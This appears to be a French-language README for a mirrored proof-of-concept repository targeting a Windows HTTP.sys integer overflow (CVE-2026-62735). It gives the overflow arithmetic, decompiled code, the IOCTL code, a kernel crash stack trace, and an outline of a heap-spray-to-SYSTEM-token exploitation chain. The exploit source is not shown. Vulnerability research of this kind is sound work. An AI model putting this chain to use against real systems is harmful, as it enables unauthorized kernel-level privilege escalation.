
Exploit local d'élévation de privilèges pour le dépassement d'entier HTTP.sys de Windows (CVE-2026-62735), démontrant un crash et un shell SYSTEM complet via un dépassement du pool non paginé. Pour des tests autorisés.
Integer Overflow. Avec cette vulnérabilité, nous disposons de la primitive Heap Overflow -> SYSTEM shell.Integer Overflowhttp.sysUlpCreateInternalResponseOldhttp.sys alloue de la mémoire sur la base de TotalHeaderBytes, alors que les en-têtes nécessitent un tampon beaucoup plus grand. Cela fournit la base pour déborder l'allocation du pool non paginé dans UlGenerateMultipleKnownHeadersOld :__int64 __fastcall UlpCreateInternalResponseOld(
sv_UL_REQUEST *Request,
unsigned __int16 EntityChunkCount,
unsigned int FixedHeaderCount,
unsigned int FixedHeaderBytes,
unsigned int MultipleHeaderCount,
unsigned int MultipleHeaderBytes,
unsigned __int16 KnownHeaderCount,
unsigned int TrailerCount,
unsigned int TrailerBytes,
char FastForwardRequested,
char CacheEligible,
char ResponseInfoPresent,
char AutomaticChunkingRequired,
char AdditionalHeaderRequired,
sv_UL_INTERNAL_RESPONSE **InternalResponseOut)
{
int VariableHeaderBytes; // r9d
int H3ExtraHeaderBytes; // r10d
unsigned int MultipleHeaderBytesLocal; // ecx
unsigned int TotalHeaderBytes; // [rsp+E8h] [rbp+60h]
...
// 0xffffff32 + 0x2e + 0 + 0xa0 = 0x4e
TotalHeaderBytes = MultipleHeaderBytesLocal + FixedHeaderBytes + H3ExtraHeaderBytes + VariableHeaderBytes;
...
}
*** Fatal System Error: 0x00000050
(0xFFFFCD86AE712000,0x0000000000000002,0xFFFFF807489C4362,0x0000000000000002)
Driver at fault:
*** HTTP.sys - Address FFFFF807489C4362 base at FFFFF80748860000, DateStamp 2bfcaa4c
.
Break instruction exception - code 80000003 (first chance)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
For analysis of this file, run !analyze -v
nt!DbgBreakPointWithStatus:
fffff807`b26fa0d0 cc int 3
0: kd> k
# Child-SP RetAddr Call Site
00 ffffe205`092ddf78 fffff807`b27afcf2 nt!DbgBreakPointWithStatus
01 ffffe205`092ddf80 fffff807`b27af21e nt!KiBugCheckDebugBreak+0x12
02 ffffe205`092ddfe0 fffff807`b26f9357 nt!KeBugCheck2+0xb2e
03 ffffe205`092de770 fffff807`b24fd030 nt!KeBugCheckEx+0x107
04 ffffe205`092de7b0 fffff807`b2443c56 nt!MiSystemFault+0x850
05 ffffe205`092de8a0 fffff807`b28badcb nt!MmAccessFault+0x646
06 ffffe205`092dea10 fffff807`489c4362 nt!KiPageFault+0x38b
07 ffffe205`092deba8 fffff807`489a6611 HTTP!memcpy+0x122
08 ffffe205`092debb0 fffff807`4897c165 HTTP!UlGenerateMultipleKnownHeadersOld+0xbdd
09 ffffe205`092ded90 fffff807`48976db0 HTTP!UlpPrepareHttpResponseOld+0x2c9
0a ffffe205`092dee70 fffff807`489361a4 HTTP!UlCaptureHttpResponseOld+0x92c
0b ffffe205`092defc0 fffff807`488f7c92 HTTP!UlSendHttpResponseIoctlOld+0x1160
0c ffffe205`092df600 fffff807`488c4db5 HTTP!UlSendHttpResponseIoctl+0x12
0d ffffe205`092df630 fffff807`b245cabb HTTP!UxDeviceControl+0xb5
0e ffffe205`092df670 fffff807`b245ca33 nt!IopfCallDriver+0x5b
0f ffffe205`092df6b0 fffff807`b2ac0e75 nt!IofCallDriver+0x13
10 ffffe205`092df6e0 fffff807`b2abfcbc nt!IopSynchronousServiceTail+0x1c5
11 ffffe205`092df790 fffff807`b2abf30e nt!IopXxxControlFile+0x99c
12 ffffe205`092dfa00 fffff807`b28bf255 nt!NtDeviceIoControlFile+0x5e
13 ffffe205`092dfa70 00007ffa`d37c0144 nt!KiSystemServiceCopyEnd+0x25
14 00000014`0d9af2d8 00007ffa`d08a3953 ntdll!NtDeviceIoControlFile+0x14
15 00000014`0d9af2e0 00007ffa`d1f93335 KERNELBASE!DeviceIoControl+0x73
16 00000014`0d9af350 00007ff7`00cb1cb4 KERNEL32!DeviceIoControlImplementation+0x75
17 00000014`0d9af3a0 00000000`00001f7f poc!main+0x924
18 00000014`0d9af3a8 00000000`00000007 0x1f7f
19 00000014`0d9af3b0 00000014`0d9af4a0 0x7
1a 00000014`0d9af3b8 00000000`00000000 0x00000014`0d9af4a0
Ce dépôt est un miroir de distribution relais du PoC pour la vulnérabilité CVE-2026-62735 (Windows HTTP.sys Integer Overflow → Nonpaged Pool Overflow → SYSTEM) (voir le README original en amont ci-dessus pour les détails techniques). Le contenu provient du PoC public en amont et est uniquement destiné à l'archivage et à la distribution. Le PoC est réservé à la recherche en sécurité, à la validation de vulnérabilités et aux tests autorisés ; ne l'utilisez pas sur des cibles non autorisées.
UlpCreateInternalResponseOld / UlGenerateMultipleKnownHeadersOld (http.sys, ancien chemin de code)0x12403F (UlSendHttpResponseIoctl)Principe fondamental : TotalHeaderBytes = MultipleHeaderBytesLocal + FixedHeaderBytes + H3ExtraHeaderBytes + VariableHeaderBytes — lorsque le nombre d'octets des en-têtes de réponse à valeurs multiples est construit pour approcher 2³², cette somme 32 bits se replie vers une valeur extrêmement petite (0xffffff32 + 0x2e + 0 + 0xa0 = 0x4e), ExAllocatePool3 alloue alors un tampon noyau bien plus petit que nécessaire, puis le memcpy de UlGenerateMultipleKnownHeadersOld écrit au-delà des limites de ce bloc du pool non paginé.
poc/ poc.cpp + head.hpp —— exploitation complète : pulvérisation de tas DQE via named pipe → débordement de pool contrôlant l'en-tête 0x30 → lecture/écriture arbitraire → copie du token SYSTEM → SYSTEM shell
crash/ poc.cpp + head.hpp —— déclenchement de crash uniquement (validation de l'existence de la vulnérabilité, déclenche le bugcheck 0x50)
crash/ et poc/ sont tous deux des exécutables indépendants ; l'exécution réussie de poc.exe ouvre un SYSTEM shellCe PoC est uniquement destiné à l'enseignement, à la recherche en sécurité et aux tests autorisés ; il ne doit être exécuté que sur des systèmes vous appartenant ou pour lesquels vous disposez d'une autorisation explicite. L'exploitation élève les privilèges vers SYSTEM via un débordement du pool noyau et peut déclencher un écran bleu (0x50) ; testez-le dans une machine virtuelle jetable.
LICENSE).